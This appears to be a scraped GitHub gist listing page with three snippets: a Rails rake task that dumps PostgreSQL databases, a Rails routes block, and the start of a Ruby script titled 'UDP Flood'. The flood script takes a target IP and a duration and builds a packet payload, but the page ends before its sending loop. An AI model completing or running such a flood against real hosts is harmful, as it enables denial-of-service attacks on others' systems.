Skip to content

Instantly share code, notes, and snippets.

View SValkanov's full-sized avatar

Stanislav Valkanov SValkanov

  • Sofia, Bulgaria
View GitHub Profile
@hopsoft
hopsoft / db.rake
Last active May 22, 2024 22:53
Rails rake tasks for dump & restore of PostgreSQL databases
# lib/tasks/db.rake
namespace :db do
desc "Dumps the database to db/APP_NAME.dump"
task :dump => :environment do
cmd = nil
with_config do |app, host, db, user|
cmd = "pg_dump --host #{host} --username #{user} --verbose --clean --no-owner --no-acl --format=c #{db} > #{Rails.root}/db/#{app}.dump"
end
puts cmd
# config/routes.rb
resources :documents do
scope module: 'documents' do
resources :versions do
post :restore, on: :member
end
resource :lock
end
end
@Ninjex
Ninjex / flood.rb
Last active July 19, 2018 01:42
Ruby UDP Flood
#!/usr/bin/ruby
require 'socket'
if ARGV[0] == '-ip' then ip = ARGV[1] end
if ARGV[2] == '-t' then seconds = ARGV[3].to_i end
if ARGV[2].nil? || ARGV[2].empty? then abort "Usage: ruby flood.rb -ip <ip address> -t <time in seconds>" end
bytes = 'Z' * 1000
def get_time(one, two)
(two - one).to_i
end
puts "UDP flooding IP: #{ip} for #{seconds} seconds!"